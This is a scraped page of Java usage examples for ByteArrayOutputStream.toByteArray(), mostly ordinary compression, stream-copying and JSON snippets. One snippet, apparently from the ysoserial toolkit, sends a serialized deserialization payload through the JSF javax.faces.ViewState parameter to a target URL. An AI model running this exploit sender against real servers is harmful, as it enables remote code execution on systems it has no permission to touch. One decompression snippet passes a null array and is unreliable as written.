Example usage for java.io ByteArrayOutputStream toByteArray

List of usage examples for java.io ByteArrayOutputStream toByteArray

Introduction

In this page you can find the example usage for java.io ByteArrayOutputStream toByteArray.

Prototype

public synchronized byte[] toByteArray() 

Source Link

Document

Creates a newly allocated byte array.

Usage

From source file:com.vethrfolnir.TestJsonAfterUnmarshal.java

public static void main(String[] args) throws Exception {
    ArrayList<TestThing> tsts = new ArrayList<>();

    for (int i = 0; i < 21; i++) {

        final int nr = i;
        tsts.add(new TestThing() {
            {/*from w w  w .j  a v a 2 s.com*/
                id = 1028 * nr + 256;
                name = "Name-" + nr;
            }
        });
    }

    ObjectMapper mp = new ObjectMapper();
    mp.setVisibilityChecker(mp.getDeserializationConfig().getDefaultVisibilityChecker()
            .withCreatorVisibility(JsonAutoDetect.Visibility.NONE)
            .withFieldVisibility(JsonAutoDetect.Visibility.ANY)
            .withGetterVisibility(JsonAutoDetect.Visibility.NONE)
            .withIsGetterVisibility(JsonAutoDetect.Visibility.NONE)
            .withSetterVisibility(JsonAutoDetect.Visibility.NONE));

    mp.configure(SerializationFeature.INDENT_OUTPUT, true);

    ByteArrayOutputStream br = new ByteArrayOutputStream();
    mp.writeValue(System.err, tsts);
    mp.writeValue(br, tsts);

    ByteArrayInputStream in = new ByteArrayInputStream(br.toByteArray());
    tsts = mp.readValue(in, new TypeReference<ArrayList<TestThing>>() {
    });

    System.err.println();
    System.out.println("Got: " + tsts);
}

From source file:net.awl.edoc.pdfa.compression.FlateDecode.java

public static void main(String[] args) throws Exception {
    Inflater inf = new Inflater(false);

    File f = new File("resources/content_2_0.ufd");
    FileInputStream fis = new FileInputStream(f);
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    IOUtils.copy(fis, baos);/* ww  w.  j  av a2s  . c om*/
    IOUtils.closeQuietly(fis);
    IOUtils.closeQuietly(baos);
    byte[] buf = baos.toByteArray();
    inf.setInput(buf);
    byte[] res = new byte[buf.length];
    int size = inf.inflate(res);
    String s = new String(res, 0, size, "utf8");
    System.err.println(s);

}

From source file:Main.java

public static void main(String[] args) throws IOException {
    URL url = new URL("http://www.java2s.com/style/download.png");

    InputStream inputStream = url.openStream();
    ByteArrayOutputStream output = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024];

    int n = 0;/*from  w w w.ja  va 2  s .co m*/
    while (-1 != (n = inputStream.read(buffer))) {
        output.write(buffer, 0, n);
    }
    inputStream.close();

    byte[] data = output.toByteArray();

    OutputStream out = new FileOutputStream("data.png");
    out.write(data);
    out.close();

    for (byte b : data) {
        System.out.printf("0x%x ", b);
    }
}

From source file:Main.java

public static void main(String[] args) throws Exception {

    FileInputStream is = new FileInputStream("c:/test.txt");

    BufferedInputStream bis = new BufferedInputStream(is);

    ByteArrayOutputStream baos = new ByteArrayOutputStream();

    BufferedOutputStream bos = new BufferedOutputStream(baos);

    int value;/*  ww w. j a va2 s .com*/

    while ((value = bis.read()) != -1) {
        bos.write(value);
    }

    bos.flush();

    for (byte b : baos.toByteArray()) {

        char c = (char) b;
        System.out.println(c);
    }

}

From source file:Main.java

License:asdf

public static void main(String[] argv) throws Exception {
    byte[] input = "asdf".getBytes();

    Deflater compressor = new Deflater();
    compressor.setLevel(Deflater.BEST_COMPRESSION);

    compressor.setInput(input);//from   www .  ja  v  a2 s.c  o m
    compressor.finish();

    ByteArrayOutputStream bos = new ByteArrayOutputStream(input.length);

    byte[] buf = new byte[1024];
    while (!compressor.finished()) {
        int count = compressor.deflate(buf);
        bos.write(buf, 0, count);
    }
    bos.close();
    byte[] compressedData = bos.toByteArray();
}

From source file:Main.java

public static void main(String[] args) throws Exception {
    Connection conn = getConnection();
    Statement st = conn.createStatement();

    st.executeUpdate("create table images (Id int, b BLOB);");

    File file = new File("myimage.gif");
    FileInputStream fis = new FileInputStream(file);
    PreparedStatement ps = conn.prepareStatement("insert into images values (?,?)");
    ps.setString(1, "10");
    ps.setBinaryStream(2, fis);//from  w w  w  .  ja  va2  s .  co  m
    ps.executeUpdate();

    ResultSet rset = st.executeQuery("select b from images");
    InputStream stream = rset.getBinaryStream(1);
    ByteArrayOutputStream output = new ByteArrayOutputStream();
    int a1 = stream.read();
    while (a1 >= 0) {
        output.write((char) a1);
        a1 = stream.read();
    }
    Image myImage = Toolkit.getDefaultToolkit().createImage(output.toByteArray());
    output.close();

    ps.close();

    fis.close();
    st.close();
    conn.close();
}

From source file:Main.java

public static void main(String[] argv) throws Exception {
    byte[] input = "www.java2s.com".getBytes();

    Deflater compressor = new Deflater();
    compressor.setLevel(Deflater.BEST_COMPRESSION);

    compressor.setInput(input);/*w  ww . ja v a  2  s  . co  m*/
    compressor.finish();

    ByteArrayOutputStream bos = new ByteArrayOutputStream(input.length);

    byte[] buf = new byte[1024];
    while (!compressor.finished()) {
        int count = compressor.deflate(buf);
        bos.write(buf, 0, count);
    }
    bos.close();
    byte[] compressedData = bos.toByteArray();
    System.out.println(Arrays.toString(compressedData));

}

From source file:Main.java

public static void main(String[] argv) throws Exception {
    byte[] compressedData = null;
    Inflater decompressor = new Inflater();
    decompressor.setInput(compressedData);
    ByteArrayOutputStream bos = new ByteArrayOutputStream(compressedData.length);
    byte[] buf = new byte[1024];
    while (!decompressor.finished()) {
        int count = decompressor.inflate(buf);
        bos.write(buf, 0, count);//from w w  w . j  a va2 s .c  om

    }
    bos.close();
    byte[] decompressedData = bos.toByteArray();

}

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);// ww w .  ja v a 2 s.com
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

From source file:Main.java

public static void main(String[] argv) throws Exception {
    byte[] input = "this is a test".getBytes();

    Deflater compressor = new Deflater();
    compressor.setLevel(Deflater.BEST_COMPRESSION);

    compressor.setInput(input);/*  ww w .ja  v  a 2s  . c om*/
    compressor.finish();

    ByteArrayOutputStream bos = new ByteArrayOutputStream(input.length);

    byte[] buf = new byte[1024];
    while (!compressor.finished()) {
        int count = compressor.deflate(buf);
        bos.write(buf, 0, count);
    }
    bos.close();

    byte[] compressedData = bos.toByteArray();
    Inflater decompressor = new Inflater();
    decompressor.setInput(compressedData);

    bos = new ByteArrayOutputStream(compressedData.length);

    buf = new byte[1024];
    while (!decompressor.finished()) {
        int count = decompressor.inflate(buf);
        bos.write(buf, 0, count);
    }
    bos.close();

    byte[] decompressedData = bos.toByteArray();
    System.out.println(new String(decompressedData));
}